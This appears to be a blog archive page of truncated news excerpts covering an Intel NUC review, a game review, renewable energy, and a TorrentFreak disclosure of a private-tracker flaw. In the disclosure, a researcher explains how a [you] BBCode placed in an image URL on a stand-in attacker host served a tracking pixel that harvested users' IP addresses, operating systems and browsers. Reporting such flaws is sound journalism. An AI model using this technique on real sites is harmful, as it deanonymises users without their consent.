Month: March 2016

Andrew Cunningham

The new Skylake NUC.

10 more images in gallery

Intel’s “Next Unit of Computing” (NUC) mini desktops started off as interesting curiosities, experiments to see just how much computer could fit in a desktop PC that you could hold in your hand. Each subsequent generation has refined the overall concept and added other niceties, making it more and more like a solid consumer-ready computer (albeit one that makes you provide your own RAM and SSD and OS).

We looked at Intel’s fourth-generation NUC based on its still-relatively-new Skylake processors. On the outside, less has changed than ever before—Intel has settled on a “look” for the NUC and it’s not messing with the design much. On the inside, you get enough cool upgrades that you can almost forgive Intel’s CPU performance for improving so little in the last three or four years.

Model breakdown

Specs at a glance: Intel NUC NUC6i7SYK (as reviewed)
OS	Windows 10 x64
CPU	1.8GHz Core i5-6260U (Turbo Boost up to 1.9GHz)
RAM	16GB 2133MHz DDR4 (supports up to 32GB)
GPU	Intel Iris 540 (integrated with 64MB eDRAM)
HDD	256GB Samsung SM951 PCIe SSD
Networking	867Mbps 802.11ac Wi-Fi, Bluetooth 4.2, Gigabit Ethernet
Ports	4x USB 3.0, 1x mini DisplayPort 1.2, 1x HDMI 1.4b, headphones, SD card slot
Size	4.53” x 4.37” x 1.26” (115 x 111 x 32mm)
Other perks	Kensington lock, swappable lids, IR receiver
Warranty	3 years
Price	~$400 (barebones), about $755 as configured

There are four Skylake NUCs as of this writing. Two include a Core i5-6260U with an Iris 540 integrated GPU, and two use a slower Core i3-6100U processor and a slower HD 520 GPU. Each processor comes in two cases: a taller one that makes room for a 2.5-inch hard drive or SSD, and a shorter one that doesn’t. Otherwise, all models share the same basic design, port layout, and other features.

Read 27 remaining paragraphs | Comments

On a very basic level torrent sites come in two flavors. On the one hand there’s public sites such as KickassTorrents and Pirate Bay, on the other there are closed communities that tend to stay out of public view.

These closed communities are known as private trackers and they’re often difficult to gain access to. This is supposed to enhance their security and in many cases indeed does but problems do exist as today’s news illustrates.

Several weeks ago TorrentFreak was contacted by a security researcher who proposed that we write an article on how law enforcement would be able to uncover crucial information about the operators, staff, uploaders and users of one of the most well-known private trackers.

Several days later our tipster, who told us he has worked in website security for many years, said that he’d managed to exploit a flaw in the tracker to extract sensitive information about its users.

“I can identify a user to an IP address. This is useful against owners/staff and uploaders. If I worked for a government organization, I could target the owner of the IP to hand over data,” he explained.

“Also I am able to gather browser (and its version) and operation system. If they are running vulnerable versions, [an attacker] could try to target them.”

At this point the security worker declined our request to identify the site since there was no simple way he could inform them of the issues without risking his membership. However, he was prepared to explain how the exploit worked.

“The website uses BBCode for forums and private messages (to bold things, insert emoji, and photos),” he explained.

“One of the BBCodes this site uses is [you]. If you place this in a forum or a private message it will insert the user’s logon name, that is viewing the page. If my username was ‘Randomusername’, and someone sent me a private message saying ‘Hello [you]!’, when I opened it, the BBcode would translate to ‘Hello Randomusername!'”

While this sounds harmless enough, there’s a real sting in the tail. According to the researcher he was able to set up a remote system on a server under his control to extract IP addresses and other information of the people who read postings formatted in this fashion.

“When you add [you] on the end of an image, you get something like this http://myevilsite.com/photo.php?u=[you].jpg. On this PHP page [on a remote site], you generate a transparent 1 pixel x 1 pixel image. But as it is PHP, you run commands to gather the IP address, gather the OS, and gather the browser and version [of the person viewing it],” he explained.

“When people viewed the page, they didn’t know that a tiny image was stealing their information.”

And it appears he did manage to extract a considerable amount of sensitive information.

“The next part was how to get the maximum amount of viewers of my transparent PHP image. So I decided to post in various forums. I also messaged staff and uploaders directly. Once these people viewed the post/message, it would load the transparent image, and I would store all of the above information, which mapped back to their username on the site,” he explained.

Weeks passed by without TF hearing anything further and without knowing the name of the site we decided to sit on the information. But then, more than a month after first contact we were contacted again, this time with information that confirmed the affected site was popular private tracker SceneAccess.

In the interests of security, TorrentFreak immediately contacted the site’s staff and informed them of the problems before anyone else could carry out the same exploit. The disclosure would also given the site the opportunity to advise its members of the flaw but at this point it’s unclear whether it has done so.

Although one can’t be sure that the exploit hadn’t already been discovered by someone else, the researcher who contacted us didn’t appear to have any malice towards the site and expressed no intention of doing anything bad with the data.

“I am into web application security and I naturally check for ways that could compromise the sites I use. I have done this for my company, my banks and even my torrent sites. I also teach a website hacking class, pretty regularly,” he explained.

However, the researcher claims that he did manage to get a lot of data which attached usernames to IP addresses, including those of staff and uploaders. It’s not clear how many had taken precautions to hide their identities on site but the researchers feels not all of them did.

“From my data not all of them are using VPNs or seed boxes,” he said.

As can be seen from the somewhat intentionally blurry, heavily redacted and incomplete screenshot below, the database compiled by the researcher is considerable and includes sensitive details of uploaders and staff members.

While the vulnerability is easily fixed, the researcher says that other private trackers using the same feature could also be prone to having data extracted in the same manner.

“Typically the [you] BBCode wouldn’t be a vulnerability on any average site. But on a private site, that does questionable things, it turns into a vulnerability. I do not know if anyone else has implemented the [you] BBCode, but I do know that it is specifically on the ‘NOT going to happen’ list on TorrentBytes,” he says.

Of course, the limited numbers of people on private trackers means that there is less chance of something like this being exploited. Also, the invite systems on private sites go some way to keeping undesirables out. However, as the researcher notes, these systems aren’t watertight.

“Members get invites that they can give or sell to other people. Even though selling is against the rules, people still do it and someone really looking to take them down, wouldn’t mind spending a couple of bucks,” he concludes.

Source: TF, for the latest info on copyright, file-sharing, torrent sites and ANONYMOUS VPN services.

Read 7 remaining paragraphs | Comments

Read 23 remaining paragraphs | Comments

ECHOs are one of the game's collectibles... and just a bit voyeuristic.

With more ways than ever for players to document and share their experiences, ridiculous bugs and absurd oversights are no longer the stuff of playground rumor. You have one chance to make a good impression, or else faceless assassins and loot caves can become the defining features of your game in the public consciousness well before early problems can be patched.

In the case of The Division, we’ll always remember the queues: a dozen or so players, stacked in orderly horizontal piles, separated only by their own collision detection as they reach for the single laptop that will unlock the rest of the game. It’s among the first of the few times The Division naturally populates its world with large groups of other players, and it’s comedy gold. From that moment forward, however, The Division reveals itself to be curiously desolate for a game that requires a constant (and, so far, rather shaky) server connection.

You've been activated

That desolation makes some sense. Someone, somewhere has dosed cash in New York City (or at least the director’s cut version of Manhattan that we get) with a cocktail of smallpox, bird flu, and every other Fox News disease-of-the-year. This “dollar flu,” or “green poison,” has left the boroughs' streets either evacuated or full of corpses. Those who remain were either too slow or unwilling to escape quarantine.

This is where your protagonist comes in. As part of a secret and heavily-armed police force, aka The Division, you’ve stayed behind to, ostensibly, collect data on the virus and keep the peace (which you do by murdering tons of people, of course).

Read 19 remaining paragraphs | Comments

(credit: Reyner Media)

The story of the US' energy economy has become simple: natural gas has gotten incredibly cheap, wind is catching up, and solar will be competitive before the decade is out. All of this is driving a boom in renewable energy and pushing coal out of its dominant spot on the market.

But the US isn't the world—it's not even the largest carbon emitter anymore—and its experience doesn't always reflect what's happening in other countries. At the recent meeting of the American Association for the Advancement of Science (or AAAS), speakers had the chance to review what's happening with renewable energy in a number of other critical countries: Germany, India, and China.

Combined, these countries cover a broad spectrum of experiences. Germany's a mature industrial economy that's pushed renewables hard; China's binged on fossil fuels, but is now trying to change its trajectory; and India is the nation most likely to follow in China's footsteps.

Read 38 remaining paragraphs | Comments